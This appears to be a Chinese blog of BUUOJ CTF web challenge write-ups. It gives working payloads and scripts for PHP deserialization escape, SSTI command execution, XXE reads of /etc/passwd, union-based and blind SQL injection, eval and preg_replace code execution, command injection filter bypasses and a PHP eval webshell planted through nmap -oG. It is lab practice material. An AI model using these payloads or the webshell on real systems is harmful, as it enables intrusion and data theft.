        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>

通过正则匹配来过滤我们提交的数据,判断nickname这里判断了nickname是否为字符以及长度是否超过10,这里如果传入的nickname是一个数组,则可以绕过长度的限制。代码最后调用了update_profile函数,应该是把$user放进数据库里面。

class.php

<?php
require('config.php');

class user extends mysql{
    private $table = 'users';

    public function is_exists($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}

class mysql {
    private $link = null;

    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'], 
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");

        return $this->link;
    }

    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }

    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\''; 
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

在class.php中可以看到update_profile()的方法。

public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

update_profile()中使用了mysql类中的filter()函数和update()函数。

filter()

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

update()

public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }


所以update.php就是对输入的参数进行过滤,然后序列化,将序列化的字符中的’和\替换为_,将select,insert,update,delete和where替换为hacker。

profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

这里将信息反序列化,还会读取上传的文件。

config.php

<?php
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';
?>

很明显。flag是在config.php中,所以我们要构造包含config.php的数据,利用字符串逃逸。

反序化是以”;}结束的,我们可以把”;}加到需要反序化的字符中,就可以提前结束;}之后的内容。而update.php将参数序列化,序列化的字符和长度不可控,但是我们可以利用class.php中的filter()函数。

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

这里是将’select’, ‘insert’, ‘update’, ‘delete’, ‘where’替换成’hacker’,我们写入where替换成hacker之后字符串实际的长度就+1,
因为where是5个字符,而hacker是6个字符。因此实际的长度大于序列化固定的长度(变量前面‘s’里的值)。利用反序列化字符串逃逸,反序列化时只能将字符串中nickname前面的s后面长度的字符串反序列化成功,这个是传参的时候就固定好了。

我们的目的是将”;}s:5:”photo”;s:10:”config.php”;}插入序列化的字符串里面去,这个字符串的长度是34位,所以需要构造34个where,当替换成hacker时就会多出34位将插入的字符挤出去,这样插入的字符就不是nickname的值,从而将photo的值修改为config.php,最后就会执行file_get_content(config.php)命令从而获得flag。


最后在profile.php获得flag。
参考:https://www.cnblogs.com/g0udan/p/12216207.html

[BJDCTF2020]The mystery of ip

题目提示ip,所以想到X-Forwarded-For。

修改X-Forwarded-For发现题目显示的ip值也改变了,说明是可控的。

经测试发现存在ssti注入漏洞。

执行命令,在根目录下发现flag。

使用cat /flag获得flag。

[SUCTF 2019]Pythonginx


出自2019blackhat的议题

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
           return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
           newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

题目源码,其中三个if判断语句条件都是一样的,但是每一个host的构造都是不一样的。

当URL 中出现一些特殊字符的时候,输出的结果可能不在预期

所以g按照etUrl函数写出爆破脚本即可得到我们能够逃逸的构造语句

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass

def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
if host == 'suctf.cc':
return False
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1]='.'.join(newhost)
finalUrl=urlunsplit(parts).split(' ')[0]
host=parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False


if __name__=='__main__':
get_unicode()

脚本是参考下方博客的。

只需要其中任意一个就能读取文件了。

题目提示我们是nginx,所以我们去读取nginx的配置文件,题目就提示了flag的位置。
构造payload:getUrl?url=file://suctf.cℂ/../../../../..//usr/fffffflag即可获得flag。

部分nginx的配置文件所在位置

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx

参考:https://www.cnblogs.com/Cl0ud/p/12187204.html

[BJDCTF2020]ZJCTF,不过如此


阅读代码发现和之前做过的[ZJCTF 2019]NiZhuanSiWei类似,直接构造payload:

?file=php://filter/convert.base64-encode/resource=next.php&text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=

读取next.php中的内容。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\1")',$str);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

base64解码后获得next.php得内容。
本题考查的是preg_replace /e模式下存在的命令执行漏洞。

所以不能直接构造\S*=${system(‘ls’)},因为传参数会被替换掉,但是getFlag()函数中有@eval($_GET[‘cmd’]);可以传参数执行命令。

详情见参考,所以构造payload:

next.php?\S*=${getFlag()}&cmd=system("cat /flag");

即可获得flag。
参考:https://xz.aliyun.com/t/2557

[ASIS 2019]Unicorn shop


打开源码,看到提示,说utf-8很重要。

输入的价格数字为两位以上会报错,说明价格只能为0-9,所以前三个独角兽都能买,但最后一个独角兽价格很高,可以猜测买最后一个就有flag。
所以需要找到一个字符,而且这个字符比1337大才行。

所以这题考查的是utf-8编码的安全转换问题。

https://www.compart.com/en/unicode/
在这个网站直接输入thousand查找。

只要找到一个Numeric Value大于1337的字符就可以了。


将0x换成%,然后以价格的方式输入从而获得flag。

[NCTF2019]Fake XML cookbook

题目给出了XML,所以这题应该是XML的漏洞,查了一下,这题考查的是XXE漏洞,XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞。

抓包发现username和password都是xml格式。

构造payload:

<?xml version = "1.0"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>

成功显示文件的内容。

然后读取flag。

参考:
https://www.freebuf.com/vuls/175451.html

[SWPU2019]Web1


看了wp才知道这题是SQL注入,输入广告名为1’,查看广告名是报错,可见广告名处存在SQL注入漏洞。
经测试发现#和–都被过滤了,空格会被替换为空,所以使用’将后面的’闭合,使用/**/绕过空格。
使用1'/**/'页面恢复正常,or也被过滤了,所以只能手动探测列数。
经测试发现,有22列。

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

因为or被过滤,所以不能使用information_schema库。
但这题可以利用另外一个方法,mysql无列名注入。
但这题用sys.schema_auto_increment_columns显示没有这个表,找了一下,发现mysql.innodb_table_stats可以使用。
构造payload:

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'


获得表名。
由于`被过滤了,所以使用别名来代替。
构造payload:

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'


发现就已经得到flag了。

参考:https://zhuanlan.zhihu.com/p/98206699
https://www.cnblogs.com/20175211lyz/p/12184867.html

[CISCN 2019 初赛]Love Math

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
} 

题目源码。
代码并不复杂,但是只能用题目所给的数学函数构造。
一种payload是:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

解释:

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}(($_GET){abs})  //{}可以代替[]

其余方法见参考。

参考:https://www.cnblogs.com/wangtanzhi/p/12246731.html


因为49=49

所以这里是twig.

所以构造payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

成功执行,回显id。

最后构造payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

获得flag

参考:https://zhuanlan.zhihu.com/p/28823933

[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')//注册一个名为FLAG的config,猜测就是flag。


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s//把黑名单的东西遍历并设为空。

return flask.render_template_string(safe_jinja(shrine))//进行模块渲染


if __name__ == '__main__':
    app.run(debug=True)

题目给出了源码。


代码中有jinjia的字样,而且导入了flask模块,所以可以猜测是flask/jinja2模板注入,经测试果然是jinja2模板注入。

利用tplmap这个工具进行检测是否有模板注入漏洞

题目将config过滤了,所以不能使用 /shrine/,不过python还有一些内置函数,比如 url_forget_flashed_messages。

利用 /shrine/看到所有app的config。
这里面有一个current_app就是当前app的意思。

flag就在当前app的config中。

另外一种就是用get_flashed_messages。

同样可以获得flag。

参考:https://www.cnblogs.com/wangtanzhi/p/12238779.html

[网鼎杯 2020 朱雀组]phpweb


进去看到页面出现警告,并且显示的时间一直在改变。

抓包可以看到post了两个参数,可以知道func的是函数,p是该函数的参数,所以是运行上传的函数。

尝试运行eval(system(‘ls’)),发现被检测出来了。试一下读取题目的源码。

使用file_get_contents(index.php)读取到题目的源码。

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

即可看到题目源码。
审计代码可以感觉到本题很像反序列的题。而且本题只是对func进行了过滤,并没有对p进行过滤,所以想到把命令序列化后上传给p,func上传unserialize。

构造payload:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";} 

发现执行成功。

经查找,在tmp发现带flag的文件,所以flag应该在这里。

从而获得flag。

[BJDCTF 2nd]简单注入

发现题目有robots.txt文件。给的提示是hint.txt。

题目给了SQL语句的形式。
测试发现=和like都被过滤了。尝试payload:

username=admin\&password=1#

页面发生变化。SQL语句变为:

select * from users where username='admin\' and password='or 1#';

其中第二个’被\转义掉,所以admin后面的’会被认为是字符串,而不是将单引号括起来的单引号,所以成功绕过。
参考别人的二分脚本:

import requests
url = "http://78fef60f-0aab-4f37-a6ad-f381989f1198.node3.buuoj.cn/index.php"

data = {"username":"admin\\","password":""}
result = ""
i = 0

while( True ):
i = i + 1 
head=32
tail=127

while( head < tail ):
    mid = (head + tail) >> 1
    payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)

    data['password'] = payload
    r = requests.post(url,data=data)

    if "stronger" in r.text :
        head = mid + 1
    else:
        tail = mid

last = result

if head!=32:
    result += chr(head)
else:
    break
print(result)

最后跑出密码为:OhyOuFOuNdit,登录后获得flag。

参考:https://www.cnblogs.com/h3zh1/p/12669345.html

[安洵杯 2019]easy_serialize_php

<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

implode:将一个一维数组的值转化为字符串。

unset() 函数用于销毁给定的变量。


代码说能在phpinfo中找到一点东西,所以找了下,估计这就是flag的文件名。最后有一个file_get_contents函数,想着利用这个函数读取d0g3_f1ag.php,从这个函数逆推回去$userinfo[“img”]的值,发现值是可控的,但是会经过sha1加密,而题目并没有sha1解密,所以就不能读取文件。

本题考查的是php反序化的对象逃逸。

构造payload:

_SESSION[phpflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

序列化后:

a:2:{s:7:"";s:54:";s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

后面将多余的img截掉,前面”;s:54:为键,xxxxxxx为值,然后成功修改img的值为d0g3_f1ag.php,从而成功读取到php文件的内容。

发现flag在 /d0g3_fllllllag

接着构造payload:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

即可获得flag。

参考:https://www.cnblogs.com/wangtanzhi/p/12261610.html

[BSidesCF 2020]Had a bad day

从页面后面的 ?category=woofers可以猜测本题为文件包含,尝试构造伪协议读取源码:

?category=php://filter/convert.base64-encode/resource=index.php


根据错误可知包含文件时在index.php后面又加了.php,所以发生了错误。改为resource=index即可读出源码。

<?php
            $file = $_GET['category'];

            if(isset($file))
            {
                if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                    include ($file . '.php');
                }
                else{
                    echo "Sorry, we currently only support woofers and meowers.";
                }
            }
            ?>

从代码里可知,我们可以读取index.php,但是不能直接读取flag.php。

使用 ?category=woofers/../flag发现flag.php确实被包含了。
php://filter伪协议是可以套一层协议的,所以可以利用这一点来读取flag。

构造payload:

?category=php://filter/convert.base64-encode/resource/index/resource=flag

成功获得flag。

参考:https://blog.csdn.net/mochu7777777/article/details/105204141

[WUSTCTF2020]朴实无华


一进去,题目就提到了文件头。

扫描发现有robots.txt文件。

User-agent: *
Disallow: /fAke_f1agggg.php

robots.txt给出提示。

抓包,在响应头上发现提示 /fl4g.php
打开是乱码,使用charset修改编码为unicode即显示正常。

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
   echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
   die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>



输入1e10时inteval(‘1e10’)为1,inteval(‘1e10’+1)=1410065409成功绕过。

第二关需要输入的为0e开头并且md5加密后也是0e开头的md5值,找了一下,0e215962017符合条件。


用ls命名看一下flag文件的名字,第三关过滤了cat,可以用tac,head,more绕过。过滤了空格,使用${IFS}$绕过,但是${IFS}$不行,所以使用$IFS$1绕过。
payload:

?num=1e10&md5=0e215962017&get_flag=tac$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[极客大挑战 2019]FinalSQL



经测试发现注入点是在search.php中id的参数上。使用异或发现题目显示有区别,而且题目提示了SQL盲注。

盲注脚本:

#然后是二分法,二分法要快很多:
# -*- coding: UTF-8 -*-
import re
import requests
import string

url = "http://a7512037-44d3-449c-ae7f-54e751d21b0d.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)#数据库名字  
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)   #表名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)#列名
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
data = {"id":sql}
r = requests.get(url,params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0

return res

def exp():
global flag
for i in range(1,10000) :
print(i,':')
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)

exp()
print('flag=',flag)


经过一段时间,就跑出了flag。

参考:https://www.cnblogs.com/wangtanzhi/p/12305052.html

[MRCTF2020]PYWebsite


查看源码发现有一段代码,但是是前端验证,并没有什么用,而且md5也解不出来,但是发现有flag.php,访问一下。

题目说保存了购买者的IP,而且说除了购买者和我自己,没人能看到flag。

修改ip后获得flag。

[网鼎杯 2020 朱雀组]Nmap

和[BUUCTF 2018]Online Tool类似,就是构造 ' <?php @eval($_POST["hack"]);?> -oG hack.php '
scan后显示hacker,说明被检测出来了。经检查发现是过滤了php。
所以重新构造一下payload:

' <?= @eval($_POST["hack"]);?> -oG hack.phtml '

使用phtml绕过html检测。

上传成功后就能访问该文件了。用蚁剑连接。

在根目录下发现flag。

[CISCN2019 华北赛区 Day1 Web2]ikun

本文链接:https://devildragons.github.io/2020/06/09/BUUOJ%20CTF/